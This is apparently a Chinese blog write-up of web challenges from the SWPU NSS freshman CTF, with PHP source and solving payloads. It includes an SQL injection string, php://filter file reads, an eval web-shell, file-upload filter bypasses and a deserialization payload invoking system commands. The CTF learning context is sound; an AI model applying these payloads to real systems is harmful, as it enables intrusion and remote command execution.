SWPU NSS新生赛

😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习 💗**,一起进步** ⭐️**。**

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

最近除了上课,就是准备取证去了;参加了西南石油的新生赛,感觉还是挺简单的;

funny_web

首先入口界面如下:

随便输入先尝试一下嘛,账号:admin,密码:admin;(之后提示我们用户名是实验室名)

(其实这里的账号和密码是直接找群里的群主要到的!)账号为NSS;密码为2122693401;

之后便直接登录进来看到如下的php代码

php 复制代码
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
} 

显然这就是intval函数的漏洞,intval 函数有个特性:"直到赶上数字或正负符号才开始作转换,再遇到非数字或字符串结束时()结束转换";那么我们输入的如果是12345a的话,当遇到a的时候便停止了转换,结果便得到了12345;此时与后面的12345进行了弱类型的判断,成立便输出了flag;

奇妙的MD5

拿到题目就是这样的,其实看到这里再结合题目的名称,就想到了"奇妙的字符串";先尝试随便输入字符,发现一直都是这个页面;抓包看一下;同时抓响应包,在响应包中发现了hint!

确实这里执行了查询语句,但是在通过where的时候,由于条件不匹配,导致什么信息都没有;

需要password = md5($pass,true)为真的时候,才会执行select * from 'admin'

那么md5函数会将我们的输入,经过加密,然后再转换为16字符的二进制;有一个"奇妙的字符串":ffifdyop经过md5加密变成276F722736C95D99E921722CF9ED621C; 之后转换为16字符的二进制又变成了**'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c** ,这串字符的前面几位刚好是' or '6

php 复制代码
select * form admin where password =' or '6....

在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的;比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true;故这里的payload为ffifdyop

之后便跳转来到了这里,先看源码嘛!

还是md5,这里有两个参数x和y;x不可以等于y,同时x、y在经过md5加密之后相等;

两种方法嘛!

  1. 由于md5不能加密数组,在加密数组的时候会返回NULL
  2. 传入两个不相同的值,经过md5加密之后得到0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,php在进行科学计算法的时候才会将它转化为0。经过等号的判断之后返回值为true

所以传数组!数组方便,第二种大家可以去网上找,自己之前也整理过;

where_am_i

什么东西是11位啊?-------->手机号???

随便输入一个手机号,弹窗"try again";这个题有点像MISC了;网页种发现了一张xxx.古迹酒店;直接高德地图找,会找到他的电话,输入即可!

ez_ez_php

上来就是直接代码审计了;

php 复制代码
 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

条件:我们通过GET方式传入的file参数的前三位包含着php;

那么什么语句包含着php....(php://filter??)之后尝试去使用php伪协议;

php 复制代码
file=php://filter/read=convert.base64-encode/resource=flag.php

得到了一串经过base64编码的字符串,尝试通过base64解码;

php 复制代码
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";

fake flag;提示:real_flag_is_in_'flag'

那么就依然使用php伪协议去读flag!经过base64解码之后便可以拿到真正的flag;

webdog1__start

"年轻的webdog哦,如果连这关都创不过还是去卷pwn和re吧"

先看源码;得到如下:

也就是说原值经过弱类型判断依然是等于md5加密之后的值;我们便可以找0e开头的数值,经过md5加密之后得到的值依然是0e开头即可;

0e2159620170e291242476940776845150308577824

之后来到如下的界面:

这里我就一个个点,多数都是404;search这里的话通过抓包看一下;

这里便找到了hint,提示我们去fl4g.php看一下;

还是抓包看一下响应数据包,依然还是存在着hint,套娃;

去对应的文件看一下,又开始了代码审计:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}
?> 

经过get传参get,get中不可以存在着空格,并且如果get中存在着flag,那么会将flag替换为空格;

get的值的长度还不能超过18;尝试get传入一句话小马;eval($_post[1]);

最终形成eval(eval(_post\[1\]););为什么这里不能直接传入_POST[1] ,是因为要激活一下eval函数,而我们直接传入$_POST[1],是不会出现结果的;这里我还不知道为什么是这样的?本地测试是需要加上eval的!

之后就是直接连接蚁剑;

Ez_upload

文件上传,先尝试上传正常的文件,这里先上传了一个jpg文件

成功上传;尝试上传php文件;将之前的jpg文件接着上传,修改了其中的内容和后缀名,没有修改MIME信息;其实这里还会校验MIME信息的!

提示文件的后缀名中有ph,那么相应的也就过滤了pht、phtml等格式;这里尝试上传一下.htaccess文件,发现是可以上传的;

之后便是上传jpg的文件,但是在这里遇到了过滤,当我们的文件中存在<?php、<?=都会提示"你上传的什么鬼!";使用<script language="php"></script>是可以上传的!

之后便可以直接连蚁剑啦!但是我在连接蚁剑之后,在flag文件中没有内容;可能是flag文件中就是没有文件;是在phpinfo中找到的flag;

numgame

题目如下:

无法查看源代码,dirsearch扫描文件,也没有扫描到敏感的文件;只能抓包,同时去抓一下响应的数据包,发现了有个js的文件,尝试访问该文件,发现该文件的最后一行是这样的:

发现括号里面就是base64嘛!然后尝试解码看一下啊,又是另一个php的文件,尝试访问:

php 复制代码
 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
} 

发现有一个nss类,里面存在着一个静态的方法,通过GET方式进行传参,传入的参数又经过了正则的匹配,但是正则并没有大小写过滤,所以使用的就是大小写的绕过;

payload: p=Nss::Ctf 又提示不是nss这个类是不是nss2呢 换一下类名即可;

ez_ez_php(revenge)

php 复制代码
 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

php://filter伪协议直接读flag.php,之后又告诉你是/flag文件;

ez_rce

页面如上所示,直接上dirsearch了, 扫描到了robots.txt文件,尝试访问;

访问之后,提示/NSS/index.php/;继续访问出现了熟悉的界面:

thinkphp5,RCE!当然题目也已经提示我们了,这里直接就网上百度payload即可,我这里就直接用了工具;之后就是直接进行漏洞利用即可了,注意的是flag并不在根目录下面的flag文件中,flag文件中是空的,真正的flag实在/nss中,害我找了半天(眼睛属实太大了,没看见)

ez_sql

相对安全的方式传参,那就是post,参数是nss;先尝试传参nss=1看看什么情况

看到的是如下的界面,这两个flag都是假的,不用尝试,单引号的闭合方式,之后就是发现过滤了and、or、union等关键字,都是可以通过双写进行绕过的!之后就是通过基于post方式的布尔盲注脚本来进行注入了,最后爆出来的列名存在id,Secr3t,flll444g,但是在flll444g中爆出来的flag又是假的,真正的flag存在于Secr3t列中;

1z_unserialize

php 复制代码
<?php 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }   
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 

反序列化漏洞点在a(this->lly);相当于可以命令执行了;直接构造

php 复制代码
<?php 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt = 'system';
    public $lly = 'ls /';      
}
$cc = new lyh();
echo(serialize($cc));
?> 

将最终的序列化之后的结果直接传入到nss中即可;

相关推荐
用户962377954488 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机11 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机12 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544813 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star13 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544816 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
西岸行者5 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全